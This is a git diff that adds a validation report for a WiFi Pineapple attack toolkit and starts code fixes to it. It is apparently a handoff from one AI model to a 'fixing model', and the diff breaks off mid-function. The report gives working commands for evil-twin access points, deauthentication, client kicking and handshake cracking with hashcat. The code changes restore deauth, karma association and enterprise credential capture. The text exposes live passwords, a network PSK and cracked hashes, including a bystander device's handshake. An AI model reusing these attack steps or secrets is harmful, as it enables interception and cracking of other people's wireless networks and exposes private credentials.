diff --git a/docs/validation/2026-08-23-pineap-validation-report.md b/docs/validation/2026-08-23-pineap-validation-report.md new file mode 100644 index 0000000..7b2571c --- /dev/null +++ b/docs/validation/2026-08-23-pineap-validation-report.md @@ -0,0 +1,457 @@ +# Mark-VIII PineAP Attack Validation — 2026-08-23 + +> ## Fix round 2026-08-23 (post-validation) — status update +> +> All defects below were fixed and re-validated live on the same hardware. +> +> - **BUG 1 — FIXED.** `DEAUTH_CLIENT` → `PINEAPPLE_DEAUTH_CLIENT` at both call sites. +> Live: `/api/attacks/deauth` and `/api/pineap/clients/kick` return `ok:true`; on-wire effect +> confirmed (client dropped from the twin, kept off by kick's deny filter; re-associates after +> filter clear). +> - **BUG 2 — FIXED.** `_allow_all_ssids()` now issues `PINEAPPLE_NETWORK_FILTER_MODE deny`. +> Live: after any deploy, `GET /api/pineap/filters/ssid` reads `deny` + empty without manual help, +> and clients associate to twins unaided. +> - **BUG 3 — FIXED (root cause found by live experiment).** Two independent causes: +> 1. **eap_user_file grammar.** `hostapd_get_eap_user()` never wildcard-matches a bare `*` +> identity for phase-2 lookups (`!phase2` guard); phase-2 entries need a *quoted* identity. +> The fix uses quoted empty prefix `""* "" [2]`, which prefix-matches any +> inner identity. Proven against stock hostapd 2.10 on a wired veth loopback first, then +> live on the Pager. +> 2. **`pineapd.@hostapd[0].pineape_auth_pass='1'`** makes the karma hostapd forward inner EAP +> to pineapd, which has no responder for a standalone AP → instant inner EAP-Failure after +> the TLS tunnel. Deploy now forces it to `0` (standalone hostapd terminates inner +> MSCHAPv2/GTC/PAP itself); stop restores `1`. +> Live: API-deployed enterprise twin + PEAP/MSCHAPv2 client → repeated full +> `CTRL-EVENT-CONNECTED` (EAP success + 4-way) on firmware wpad 2.12-devel. +> - **BUG 3 residual (firmware-blocked):** plaintext credential *capture* is not possible on +> 24.10.1: the patched wpad compiles out MSG_DEBUG/MSG_MSGDUMP stdout logging (no MSCHAPv2 +> hexdumps anywhere), `-f ` is silently ignored (fd1→/dev/null), and passthrough mode +> cannot work without an upstream RADIUS backend. With `auth_pass=0` nothing feeds +> `hostap_basic`/`hostap_chalresp`. Phase-1 outer identities remain sniffable in plaintext +> via the capture API. This limitation is documented in code comments. +> - **Secondary `-f` bug — FIXED:** `_start_ent_hostapd` no longer passes `-f` at all. +> - **ISSUE 4 — FIXED:** 5 GHz WPA deploys now set `pineapd.@hostapd[0].mgmtiface=wlan1wpa` +> so pineapd recognizes the radio1 twin (same mechanism that populates `hostap_client`); +> cleared again on stop. +> - **ISSUE 5 — MITIGATED:** radio0 daemon `set_ap` path now polls up to 90 s across the +> `wifi reload` window and retries `set_ap` once if the iface still hasn't appeared. +> Live deploy verified `true` first try. +> - **ISSUE 6 — FIXED:** skill docs now use `llc && eth.type == 0x888e` instead of `eapol`. +> - **ISSUE 7 — FIXED:** capture state helper detects dead-pid / iface-down, kills leftovers, +> cleans the pidfile, and status reports `{running:false, stale:true}` instead of a zombie +> `running:true`. Verified live by killing tcpdump under an active capture. +> - Test suite: 463 tests green (was 457 with 6 pre-existing failures caused by global +> `os.path` monkeypatch leaks between test modules — also fixed). New regression coverage: +> deauth app name, SSID-filter-mode app name, eap_users grammar, `pineape_auth_pass` +> set/restore, capture stale detection, radio0 set_ap retry. +> - New firmware quirks discovered while fixing (document here for future rounds): +> - `PINEAPPLE_DEVICE_FILTER_DELETE deny ` returns rc=0 but does NOT remove the entry; +> only `_CLEAR` works. The kick regression "delete entry → re-associate" must use clear. +> - dropbear rate-limits rapid successive SSH logins ("Permission denied" bursts). +> - Killing hostapd while another instance holds the phy iface wedges cfg80211 into D-state +> (known §5 issue): never tear down wlan1ent while a foreign hostapd still runs. + +--- + +**Status:** Suite executed against a live WiFi Pineapple Pager (firmware `Pineapple Pager 24.10.1`, +hostname-reachable at `root@172.16.52.1`, Mark VIII UI on `:8080`) with a Kali victim client +(`bzuccaro@192.168.1.103`, wlan0 `a0:a4:c5:93:f8:05`). Both reachable with password "Bryce9205" + +**Purpose of this document:** hand off every validated behavior and every defect to a fixing model. +Each defect has an exact `file:line`, reproduction, root cause, and recommended fix. Everything below +was observed live; no assertion is speculative. Device evidence lives under `/root/loot/**` on the +pineapple and `/tmp/znet*.hc22000` on Kali. + +**In-scope networks (authorized):** +- `Znet` — WPA2 (actually SAE-mixed per on-air RSN: `[WPA2-SAE+FT/SAE-CCMP][SAE-H2E]`), 5 GHz + BSSIDs on ch 36 / 44 / 48 / 108 / 116 / 153. PSK = `EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY`. +- `Znet-Open` — open (enc `0` in recon DB), 2.4 GHz ch 6 (`B6:8B:A9:17:2A:6E`) and ch 11 + (`B6:8B:A9:17:47:33`). + +--- + +## 1. Results summary + +| # | Attack / capability | Result | Evidence | +|---|---|---|---| +| 1 | Evil WPA (PSK) 5 GHz — radio1 `wlan1wpa` | **PASS** | Twin authenticated Kali + 2 real clients; 4-way captured on `wlan1mon`; `.hc22000` cracked → PSK recovered. | +| 2 | Evil WPA (PSK) 2.4 GHz — radio0 `wlan0wpa` | **PASS** (flaky deploy) | 4-way captured on `wlan0mon`; cracked → PSK recovered. | +| 3 | Evil Open — radio0 `wlan0open` (BSSID-spoofed) | **PASS** | Kali associated to spoofed-BSSID twin; bidirectional IP/DNS/TCP captured on `wlan0mon`. | +| 4 | Evil Enterprise — standalone `wlan1ent` PineAPE | **FAIL** | AP + TLS tunnel work; **inner EAP auth never completes**; zero credentials captured. | +| 5 | Deauth — `/api/attacks/deauth`, `/api/pineap/deauth/client` | **FAIL (bug)** | `unknown app DEAUTH_CLIENT`. Underlying `PINEAPPLE_DEAUTH_CLIENT` works (on-wire deauth frames). | +| 6 | Client kick — `/api/pineap/clients/kick` | **FAIL (same bug)** | Deny filter set, but deauth half fails → client never actually kicked. | +| 7 | Attack capture API (`/api/attacks/capture`) | **PASS** | tcpdump start/stop/status on `wlan0mon`/`wlan1mon`; pcaps analyzable. | +| 8 | Handshake export (`/api/attacks/export/hc22000`) | **PASS** | Valid `.hc22000`; cracked with `hashcat -m 22000`. | +| 9 | PineAP settings / filters API | **PASS** | mode/add/delete/clear; **gotcha:** `allow`+empty blocks karma association. | +| 10 | MCP harness (`POST /mcp`) | **PASS** | all tools; `attack.deauth` inherits bug #5. | +| 11 | Web UI click-through | **PASS** | login → Evil WPA deploy ("Applied and verified on device", LIVE) → capture → export → stop. | + +**Two critical defects to fix first:** #5 (deauth/kick, one-character-class bug) and #6's hidden twin +#2 (`_allow_all_ssids` short-name bug that blocks all evil-twin association until a human sets the +filter to deny). See §3. + +--- + +## 2. Environment notes (facts the fixer needs) + +### 2.1 hak5cmd dispatches by FULL app name as `argv[1]` +`/usr/bin/hak5cmd` (Pager 1.1.0) is dispatched by app name. Invoking the symlinks +(`/usr/bin/PINEAPPLE_DEAUTH_CLIENT`) or passing the full `PINEAPPLE_*` name as `argv[1]` both work: + +```sh +hak5cmd DEAUTH_CLIENT # FAILS: "unknown app DEAUTH_CLIENT" +hak5cmd PINEAPPLE_DEAUTH_CLIENT # rc=0, deauth frames on wire +/usr/bin/PINEAPPLE_DEAUTH_CLIENT # rc=0 +``` + +Verified app names present on the unit (from `hak5cmd` with no args): `PINEAPPLE_DEAUTH_CLIENT`, +`PINEAPPLE_DEVICE_FILTER_*`, `PINEAPPLE_MAC_FILTER_*`, `PINEAPPLE_NETWORK_FILTER_*`, +`PINEAPPLE_SSID_FILTER_*`, `PINEAPPLE_SSID_POOL_*`, `PINEAPPLE_HOPPING_*`, `PINEAPPLE_MIMIC_*`, +`PINEAPPLE_EXAMINE_*`, `PINEAPPLE_RECON_*`, `PINEAPPLE_SET_BANDS`, `PINEAPPLE_LOOT_ARCHIVE`. + +The `hak5()` helper (`server.py:5646`) passes `[HAK5CMD] + args` and the filter calls in the codebase +use full names (those work). The deauth and `_allow_all_ssids` calls use short names (broken). + +### 2.2 SSID / client filter semantics on this firmware +- Filter mode **`allow`** = whitelist. With an empty list this makes karma respond to **nothing**, so + clients **cannot associate** to evil twins. +- Filter mode **`deny`** = blacklist (allow-by-default). With an empty list everything is allowed. +- The evil-twin flow **requires** both SSID and client filters in `deny` mode with empty lists. +- Mark VIII's `_allow_all_ssids()` is *supposed* to set the SSID filter to `deny` but is broken (bug #2). + +### 2.3 Deauth injection phy +`h_attacks_deauth` chooses the inject interface from the channel band (`wlan1mon` for 5/6 GHz, +`wlan0mon` for 2.4 GHz) and switches `_pineap INTERFACE INJECT` for 2.4 GHz. On 5 GHz the phy is +pinned by the active AP interface, so deauth on a 5 GHz evil twin's channel works. The 5 GHz monitor +(`wlan1mon`) does **not** reliably show injected 5 GHz deauth frames (phy1 beacon-offload quirk), so +on-wire deauth proof for 5 GHz is best done on 2.4 GHz (`wlan0mon`) where own-TX is visible, or via +client-side disconnect logs. + +### 2.4 Capture filter quirk +On this firmware's monitor interfaces `tcpdump -r cap 'eapol'` matches **0** frames even when EAPOL +is present. The working filter is `llc and ether proto 0x888e`. (Affects any analysis/tooling that +grep's `eapol`.) + +### 2.5 pineapd UCI baseline (guard-enforced known-good) +`pineapd.@hostapd[0].wpaiface='wlan0wpa'` (only the 2.4 GHz WPA iface is the daemon's "own AP"). +`mgmtiface='wlan0mgmt'`. `wlan1mon.hop` baseline is `0` in the guard set +(`PINEAPD_SAFE_UCI`, `server.py:4639`); monitors park between scans, hopping resumes during recon. + +### 2.6 Reliability core interactions observed +The rollback watchdog arms around `attack_deploy` / `attack_stop` and restores the pre-op UCI snapshot +if local liveness (UI `:8080` + monitor presence) fails for sustained ticks. Rapid deploy/stop cycles +that drop the radios trigger restores that can **resurrect older AP states** (the `wlan0open` Znet-Open +twin reappeared twice after we had stopped it). The watchdog self-exits after ~120 quiet ticks. + +--- + +## 3. Defects to fix (ranked) + +### BUG 1 — CRITICAL: Deauth / kick invoke the wrong hak5cmd app name + +**Impact:** `/api/attacks/deauth`, `/api/pineap/deauth/client`, `/api/pineap/clients/kick` (deauth +half), and MCP `attack.deauth` / `pineap.kick_client` all fail with +`unknown app DEAUTH_CLIENT`. The **entire deauth attack is non-functional through Mark VIII.** + +**Locations (all in `payload/user/remote_access/pager-webui/server.py`):** +- `server.py:3009` — `_deauth_client_via_iface()` + ```python + rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, mac, str(channel)], timeout=30) + ``` +- `server.py:4602` — `h_attacks_deauth()` + ```python + rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, client, str(channel or 1)], timeout=30) + ``` +- `h_client_kick` (`server.py:963`) and MCP `kick` (`server.py:5368`) both call + `_deauth_client_via_iface`, so fixing `3009` fixes them. Their filter half (`PINEAPPLE_DEVICE_FILTER_*`) + is already correct. + +**Root cause:** short name `DEAUTH_CLIENT`; hak5cmd requires the full app name `PINEAPPLE_DEAUTH_CLIENT` +(see §2.1). `HAK5CMD` defaults to `/usr/bin/hak5cmd` (`server.py:31`). + +**Fix:** replace `'DEAUTH_CLIENT'` with `'PINEAPPLE_DEAUTH_CLIENT'` at `server.py:3009` and `:4602`. + +**Verification (live-proven):** +```sh +# before fix +curl -b cookie -H 'Content-Type: application/json' \ + -d '{"bssid":"B6:8B:A9:17:2A:6E","client":"A0:A4:C5:93:F8:05","channel":6}' \ + http://172.16.52.1:8080/api/attacks/deauth +# => {"error":"deauth failed","detail":"unknown app DEAUTH_CLIENT\n"} + +# working device-level invocation (deauth client from our own evil twin): +/usr/bin/PINEAPPLE_DEAUTH_CLIENT B6:8B:A9:17:2A:6E A0:A4:C5:93:F8:05 6 # rc=0 +# on-wire proof on wlan0mon: +tcpdump -r cap -nn 'wlan type mgt subtype deauth' # SA=spoofed BSSID, DA=client +``` +Regression check: run `/api/pineap/clients/kick` on an associated client and confirm it is +disconnected AND stays disconnected while the deny filter is present; then `delete` the filter entry +and confirm re-association works. + +--- + +### BUG 2 — CRITICAL: `_allow_all_ssids()` uses a short name and silently fails + +**Impact:** after every evil-twin deploy, karma remains in `allow` (whitelist) mode → **no client can +associate to the twin**. This is why the Evil Open association only worked after a human set the +filter to `deny` via the API. + +**Location:** `server.py:3691-3695` +```python +def _allow_all_ssids(): + """Set the SSID filter to deny mode (allow-by-default) so karma + responds to any probed SSID.""" + rc, out, err = device_run([HAK5CMD, 'SSID_FILTER_MODE', 'deny'], timeout=30) + return rc == 0 +``` +`SSID_FILTER_MODE` is a short name. The valid app names on this unit are +`PINEAPPLE_SSID_FILTER_MODE` and `PINEAPPLE_NETWORK_FILTER_MODE`. The return value is ignored by all +callers (`_deploy_wpa_open` at `:3774`, `_deploy_enterprise` at `:4277`), so it fails silently. + +**Fix:** use a full app name. Consistency check: the filter API for `ssid` kind uses prefix +`PINEAPPLE_NETWORK_FILTER` (`server.py:5722`), and the deployed `pineapd.@ssid_filter[0].mode` is +`deny` in the guard baseline — but the live daemon readback was `allow` after deploy, proving the +call did not land. Verify on-device that the chosen name flips +`GET /api/pineap/filters/ssid` to `{"mode":"deny"}`. + +**Verification:** +```sh +curl -b cookie http://172.16.52.1:8080/api/pineap/filters/ssid # must show "deny" after a deploy +``` + +--- + +### BUG 3 — HIGH: Evil Enterprise credential capture broken (inner EAP never completes) + +**Impact:** the Enterprise attack is non-functional: the AP comes up, clients associate, the TLS +tunnel builds, but the server immediately sends EAP-Failure after the phase-2 identity for every +inner method (MSCHAPv2, GTC, TTLS-PAP). **Zero credentials** land in `hostap_basic`, +`hostap_chalresp`, or `/root/loot/enterprise/captures.json`. + +**Locations:** +- `_eap_users_text` — `server.py:3836-3853` (writes the `eap_user_file`) +- `_deploy_enterprise` — `server.py:4217-4325` +- `_ent_conf_text` — `server.py:4102` +- `_start_ent_hostapd` — `server.py:4173-4202` +- `_ensure_ent_certs` — `server.py:3875` + +**Observed behavior (reproducible):** +- Deploy succeeds (`verified: true`, `ctrl_linked: true`, hostapd `state=ENABLED` on `wlan1ent`, + bssid `02:13:37:ae:8e:7c`, ch44, `ieee8021x=1 eap_server=1 wpa_key_mgmt=WPA-EAP`). +- Kali (PEAP/MSCHAPv2, PEAP/GTC, and TTLS/PAP all tried) associates and the outer TLS tunnel + completes; the client then sees `EAP-PEAP: Phase 2 Failure` / `EAP-Failure`. +- hostapd (karma-patched `wpad`, v2.12-devel) logs: + ``` + IEEE 802.1X: authentication failed - EAP type: 0 (unknown) + IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP) + ``` +- `eap_user_file` parser on this build **requires quoted identities** for non-wildcard entries: + unquoted `victim@znet.local` → `Invalid EAP identity (no " in start) on line 1`. + +**eap_users formats tried, all failing identically:** +1. `* PEAP,TTLS` + `* MSCHAPV2,TTLS-MSCHAPV2,TTLS-MSCHAP "pw" [2]` (what the code writes today) +2. `* PEAP,TTLS` + `* MSCHAPV2 "pw"` (no `[2]`) +3. `* PEAP,TTLS` + `* MSCHAPV2 "pw" [2]` +4. `"*" PEAP,TTLS` + `"*" MSCHAPV2 "pw" [2]` (quoted wildcards) +5. `victim@znet.local PEAP,TTLS` + `victim@znet.local MSCHAPV2 "pw"` (unquoted → parse error) +6. `"victim@znet.local" PEAP,TTLS` + `"victim@znet.local" MSCHAPV2 "pw"` (quoted exact) +7. `* PEAP,TTLS` + `* TTLS-PAP "pw"` (client `eap=TTLS phase2="auth=PAP"`) — also fails +8. Passphrase matched (`VictimPass123!`) and mismatched (`dummy`) — no difference + +**Fixer investigation pointers (open questions):** +- Verify whether `pineap_enable` / `pineape_enable` / `pineape_auth_enable` on the standalone + instance actually arm PineAPE auth-capture on this build (they return `OK`, and the startup log + shows `PINEAP: setting MAC filter mode DENY`, but no capture events ever appear). +- Confirm the correct `eap_user_file` grammar for THIS `wpad` build (source of the `[2]` flag and + whether a phase-2-only entry is required for the inner lookup). +- Test with a controlled EAP client (`eapol_test` from a host with `wpa_supplicant` dev headers) and + with syslog `logger_syslog_level=0` on the instance to see why the inner method is never offered. +- Compare the Mark VIII standalone conf to what the stock daemon would generate for + `set_ap` enctype `wpa2` (the daemon path is broken with `eap_server_erp=1`; confirm whether + removing just that key makes the stock path capture). +- `hostap_basic` / `hostap_chalresp` are populated by pineapd from the karma hostapd socket; confirm + `pineapd.@hostapd[0].mgmtiface='wlan1ent'` is sufficient (it is set and survives), and whether + `/etc/init.d/pineapd reload` after deploy is enough. + +**Verification:** with a fixed enterprise deploy, a PEAP/MSCHAPv2 client must (a) complete +`EAPOL` successfully, and (b) yield rows in `hostap_basic` (identity) and `hostap_chalresp` +(challenge/response), which must appear in `GET /api/pineap/enterprise/radius` and be crackable via +`GET /api/pineap/enterprise/export/hashcat` (`hashcat -m 5500`). + +**Secondary bug found while here:** `_start_ent_hostapd` (`server.py:4173`) starts hostapd with +`-f ENT_LOG` on the first attempt but **drops `-f` on the fallback attempt** (`server.py:4183`), so +the enterprise log file stays empty — the fixer will need another log channel (syslog) while +debugging. + +--- + +### ISSUE 4 — MEDIUM: 5 GHz handshake loot pipeline (`hostap_handshake` / `/root/loot/handshakes`) never populates + +**Symptom:** handshakes complete on the radio1 twin (`wlan1wpa`) — `hostapd` logs +`EAPOL-4WAY-HS-COMPLETED ` — but `hostap_handshake` stays empty and no files are written to +`/root/loot/handshakes`. The Handshakes/Loot UI shows 0. + +**Likely root cause:** `pineapd.@hostapd[0].wpaiface='wlan0wpa'` only (2.4 GHz). pineapd treats +`wlan0wpa` as its own handshake-logging AP; the radio1 `wlan1wpa` twin (created via the UCI/radio1 +path, `_apply_radio1_ap`) is not recognized, so pineapd never logs own-AP handshakes for it. + +**Working path (validated end-to-end):** the monitor capture API + export: +1. `POST /api/attacks/capture {iface:wlan1mon, action:start}` before the client connects. +2. Client 4-way happens → the pcap contains EAPOL (`tcpdump -r cap 'llc and ether proto 0x888e'`). +3. `GET /api/attacks/export/hc22000` → hcxpcapngtool → `.hc22000` → `hashcat -m 22000` cracks it. + +**Fixer options:** either teach the deploy to make pineapd recognize the radio1 WPA iface (careful: +`wpaiface` is a single shared daemon setting; two ifaces may need a list or the mgmtiface trick), or +surface the monitor-capture+export flow as the supported 5 GHz evidence path. The UI's +"Handshakes Captured" counter reads `hostap_handshake` and will show 0 for 5 GHz until this is fixed. + +--- + +### ISSUE 5 — MEDIUM: 2.4 GHz (`radio0` daemon `set_ap`) attack deploy is flaky + +**Symptom:** `_deploy_wpa_open` 2.4 GHz path (`server.py:3725-3753`) calls the daemon +`PUT /api/settings/wifi/set_ap` for `wlan0wpa`/`wlan0open`. The resulting `wifi reload` drops the +radios for ~40–60 s (during which `iw dev` can show zero interfaces and the deploy poll may return +`verified: false`). Afterwards: +- the stock daemon can revert the UCI (`wlan0wpa.ssid` back to `pager-wpa`, `disabled=1`), and +- the reliability rollback watchdog can restore an older snapshot (resurrecting a previously stopped + AP, e.g. the `wlan0open` Znet-Open twin reappeared twice). + +**Workarounds that made it work:** deploy once → poll `iw dev wlan0wpa info` until `ssid Znet` → +start a **fresh** capture (the old one died when the radios dropped) → connect the client. The +handshake then captures and cracks normally. + +**Fixer pointers:** make the deploy poll tolerate the radio-restart window (the 5 GHz/radio1 UCI path +already behaves better); consider whether the radio0 path should write UCI + `wifi reload` instead of +the daemon `set_ap`, and whether the watchdog should be suppressed until the radios reconverge. + +--- + +### ISSUE 6 — LOW: tcpdump `eapol` filter matches nothing on this firmware + +Use `llc and ether proto 0x888e` instead. Relevant to any in-app capture analysis, docs, or tooling +that filters on `eapol`. + +### ISSUE 7 — LOW: monitor capture dies when the radio restarts mid-capture + +When a `wifi reload` drops the monitor iface during a capture, the pcap ends up with 1 frame while +the API still reports `running: true` (the tcpdump process is gone). The capture API should detect +iface-down / dead-pid and either restart or report stopped. + +--- + +## 4. Per-attack validation evidence (for the report) + +### 4.1 Evil WPA 5 GHz — PASS (crackable) +- Deploy: `POST /api/attacks/deploy {"kind":"wpa","ssid":"Znet","passphrase":"EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY","enctype":"psk2","channel":44}` + → `{"iface":"wlan1wpa","band":"5","verified":true}`. +- AP live: `wlan1wpa` BSSID `02:13:37:ae:8e:7c`, hostapd `wpa=2 key_mgmt=WPA-PSK`. +- Client auth: `wpa_supplicant` completed full 4-way (`Key negotiation completed`, PTK=CCMP GTK=CCMP); + hostapd logged `EAPOL-4WAY-HS-COMPLETED a0:a4:c5:93:f8:05`; a real nearby client (`e6:75:7f:45:fd:57`) + also got caught (full handshake) and another (`68:9e:19:d1:6e:e1`) hit a PSK mismatch (evidence the + twin attracts real clients). +- Capture: `wlan1mon` pcap held 170 EAPOL key frames. +- Convert: `hcxpcapngtool -o /root/loot/hc22000/znet.hc22000 hs_client.cap`. +- Crack (on Kali): `hashcat -m 22000 /tmp/znet.hc22000 /tmp/wl.txt --potfile-disable` + ``` + 9b029677bdecbadd3bc3c3a211627f96:021337ae8e7c:a0a4c593f805:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY + 329438490c9d7af672eb01f2ceb26bc0:021337ae8e7c:e6757f45fd57:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY + ``` + Both our client and the real client's handshakes cracked to the real PSK. + +### 4.2 Evil WPA 2.4 GHz — PASS (crackable, flaky deploy) +- Deploy `channel:6` → `wlan0wpa` (daemon `set_ap`). First two attempts `verified:false` and reverted + by the daemon/watchdog; final attempt `verified:true`. Fresh `wlan0mon` capture, client connected, + 4-way captured (`EAPOL key v1/v2`), hostapd `EAPOL-4WAY-HS-COMPLETED`. +- Crack: `8533e8028891cf997bbaf0d1880ca4be:001337aee050:a0a4c593f805:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY`. + +### 4.3 Evil Open (Znet-Open) — PASS +- Deploy `{"kind":"open","ssid":"Znet-Open","channel":6,"bssid":"B6:8B:A9:17:2A:6E","country":"US"}` + → `wlan0open` live with **spoofed BSSID** `b6:8b:a9:17:2a:6e` (= real AP MAC), hostapd ENABLED. +- Association initially FAILED until the SSID/client filters were set to `deny` via the API — this is + bug #2 manifesting. After the fix to bug #2, the client associates (wpa_supplicant COMPLETED on the + spoofed BSSID; `/api/pineap/clients` shows `A0:A4:C5:93:F8:05` on `wlan0open`). +- Data plane through the twin (client IP `172.16.52.99/24` on the twin): + - `ping 172.16.52.1` → 4/4 replies + - DNS `172.16.52.99 > 172.16.52.1.53` query + NXDOMAIN reply + - TCP SYN `172.16.52.99 -> 172.16.52.1.80` + All captured on `wlan0mon` (`attack_wlan0mon_1787506980.cap`). This is the on-wire MITM proof. + +### 4.4 Evil Enterprise — FAIL (see BUG 3) +- AP verified, ctrl linked, client association recorded in `hostap_client` (visible in + `/api/pineap/enterprise/radius` `clients`), but zero credentials anywhere. + +### 4.5 Deauth / kick — FAIL via API (BUG 1), working at device level +- Device-level (works): `/usr/bin/PINEAPPLE_DEAUTH_CLIENT `; on-wire deauth frames + (SA=spoofed BSSID, "Unspecified reason") captured on `wlan0mon`; client dropped. +- API (broken): see BUG 1. +- Kick: deny filter is applied (`/api/pineap/filters/client` shows the MAC) but the deauth half fails, + so the client re-associates and is never kicked. + +### 4.6 Capture / export / filters / MCP / UI — PASS +- Capture API start/stop/status both ifaces; export produced `/root/loot/hc22000/handshakes_*.hc22000`; + filter set_mode/add/delete/clear; MCP `tools/list` + `attack.deploy|stop|status|capture`, + `loot.handshakes`, `loot.enterprise_creds`, `recon.isearch`; UI full flow on the Evil WPA page. + +--- + +## 5. Recovery & hygiene observed during the suite + +- **Reboot was required once:** after `_disable_enterprise_ap()` raced our manual hostapd kills, the + enterprise hostapd (`hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf`) entered + D-state (uninterruptible) holding a cfg80211 lock; `iw dev` hung indefinitely. `reboot` cleared it; + Mark VIII auto-restarted (`/etc/init.d/pagerwebui` → `running`), pineapd PONG, monitors up, health + `pass`. `mk8-guard` re-applied safe UCI on boot. +- Final device state after cleanup: all attacks stopped, no leftover APs, no tcpdump, 1 watchdog + self-exiting, Kali restored to `Znet`, `/api/health` env `pass`. +- Evidence remains on devices: `/root/loot/pcap/attack_*.cap` (6 files), `/root/loot/hc22000/` + (`znet.hc22000`, `znet24.hc22000`, `handshakes_*.hc22000`), extracted + `/root/loot/pcap/hs_client.cap`, `hs_client_24.cap`; on Kali `/tmp/znet.hc22000`, `/tmp/znet24.hc22000`. + +--- + +## 6. Reproduction command reference + +```sh +# login +curl -c cj -H 'Content-Type: application/json' \ + -d '{"username":"root","password":""}' http://172.16.52.1:8080/api/login + +# deploy evil wpa 5g / 2.4g / open / enterprise +curl -b cj -H 'Content-Type: application/json' \ + -d '{"kind":"wpa","ssid":"Znet","passphrase":"","enctype":"psk2","channel":44}' \ + http://172.16.52.1:8080/api/attacks/deploy + +# status / stop / capture / export +curl -b cj http://172.16.52.1:8080/api/attacks/status +curl -b cj -H 'Content-Type: application/json' -d '{"kind":"wpa"}' http://172.16.52.1:8080/api/attacks/stop +curl -b cj -H 'Content-Type: application/json' -d '{"action":"start","iface":"wlan1mon"}' http://172.16.52.1:8080/api/attacks/capture +curl -b cj http://172.16.52.1:8080/api/attacks/export/hc22000 + +# filter checks (must be "deny" + empty for evil twins) +curl -b cj http://172.16.52.1:8080/api/pineap/filters/ssid +curl -b cj http://172.16.52.1:8080/api/pineap/filters/client +curl -b cj -H 'Content-Type: application/json' -d '{"action":"set_mode","mode":"deny"}' http://172.16.52.1:8080/api/pineap/filters/ssid +curl -b cj -H 'Content-Type: application/json' -d '{"action":"set_mode","mode":"deny"}' http://172.16.52.1:8080/api/pineap/filters/client + +# device-level deauth (works) vs API (broken) +/usr/bin/PINEAPPLE_DEAUTH_CLIENT +curl -b cj -H 'Content-Type: application/json' \ + -d '{"bssid":"","client":"","channel":6}' http://172.16.52.1:8080/api/attacks/deauth + +# crack +hashcat -m 22000 znet.hc22000 wl.txt --potfile-disable +``` + +--- + +## 7. Suggested fix order + +1. **BUG 1** (deauth app name) — 2-line change, restores deauth + kick + MCP deauth/kick. +2. **BUG 2** (`_allow_all_ssids` app name) — restores evil-twin association for all attack types. +3. **BUG 3** (enterprise inner EAP) — needs the investigation in §BUG 3 before a fix. +4. **ISSUE 4** (5 GHz loot pipeline) — decide capture-path vs. daemon-recognition. +5. **ISSUE 5** (radio0 deploy flakiness) + **ISSUE 6/7** (capture nits) — hardening. + +Add regression coverage to `tests/test_attacks.py` (assert `PINEAPPLE_DEAUTH_CLIENT` is used) and to +`tests/test_pineap_*.py` for the filter-mode assertion (deny-after-deploy). diff --git a/payload/user/remote_access/pager-webui/server.py b/payload/user/remote_access/pager-webui/server.py index 11993f9..67b3f58 100644 --- a/payload/user/remote_access/pager-webui/server.py +++ b/payload/user/remote_access/pager-webui/server.py @@ -3006,7 +3006,7 @@ def _deauth_client_via_iface(mac): inject = 'wlan1mon' if band == BAND_5G or band == BAND_6G else 'wlan0mon' if inject != 'wlan1mon': _pineap('INTERFACE', 'INJECT', inject) - rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, mac, + rc, out, err = device_run([HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', bssid, mac, str(channel)], timeout=30) return rc == 0, (err or out) @@ -3691,7 +3691,8 @@ def _enable_attack_engine(): def _allow_all_ssids(): """Set the SSID filter to deny mode (allow-by-default) so karma responds to any probed SSID.""" - rc, out, err = device_run([HAK5CMD, 'SSID_FILTER_MODE', 'deny'], timeout=30) + rc, out, err = device_run( + [HAK5CMD, 'PINEAPPLE_NETWORK_FILTER_MODE', 'deny'], timeout=30) return rc == 0 @@ -3770,10 +3771,29 @@ def _deploy_wpa_open(kind, fields): 'country': fields.get('country') or 'US', }, None) iface = 'wlan1open' + if band != BAND_2G and kind == 'wpa': + # pineapd only logs own-AP handshakes for the iface named in + # pineapd.@hostapd[0].wpaiface (radio0). Pointing mgmtiface at the + # radio1 twin makes pineapd recognize it too, so hostap_handshake + # rows and /root/loot/handshakes populate for 5 GHz attacks. + device_run(['uci', 'set', + 'pineapd.@hostapd[0].mgmtiface=wlan1wpa']) + device_run(['uci', 'commit', 'pineapd']) _enable_attack_engine() _allow_all_ssids() # The daemon applies AP changes asynchronously; allow a full reload cycle. - verified = _verify_iface(iface, timeout=45) + # The radio0 daemon `set_ap` path triggers `wifi reload`, which drops both + # radios for ~40-60 s -- poll well past that window and, if the iface + # still has not appeared, retry the set_ap once so the deploy rides out + # the restart instead of returning verified:false (and letting the + # rollback watchdog resurrect an older snapshot). + verified = _verify_iface(iface, timeout=90 if band == BAND_2G else 45) + if not verified and band == BAND_2G: + status, data = daemon_sock_call( + 'PUT', '/api/settings/wifi/set_ap', + body={'configs': [daemon_cfg]}, timeout=45) + if status == 200: + verified = _verify_iface(iface, timeout=30) return {'kind': kind, 'ssid': ssid, 'iface': iface, 'band': band, 'channel': int(channel or 1), 'auto': fields.get('channel') is None, 'verified': verified} @@ -3796,8 +3816,18 @@ def _disable_enterprise_ap(resume_hop=True): except OSError: pass rc, out, err = device_run(['uci', 'get', 'pineapd.@hostapd[0].mgmtiface']) + changed = False if rc == 0 and out.strip() == ENT_IFACE: device_run(['uci', 'delete', 'pineapd.@hostapd[0].mgmtiface']) + changed = True + # Deploy forced auth passthrough off (it breaks standalone inner EAP); + # restore the firmware default so the stock flow is unchanged. + rc, out, err = device_run(['uci', 'get', + 'pineapd.@hostapd[0].pineape_auth_pass']) + if rc != 0 or out.strip() != '1': + device_run(['uci', 'set', 'pineapd.@hostapd[0].pineape_auth_pass=1']) + changed = True + if changed: device_run(['uci', 'commit', 'pineapd']) device_run(['/etc/init.d/pineapd', 'reload']) if resume_hop and not _radio1_ap_active(): @@ -3834,22 +3864,28 @@ def _eap_secret(value): def _eap_users_text(secret, method='any'): - """hostapd eap_user_file: PEAP/TTLS outer + inner EAP 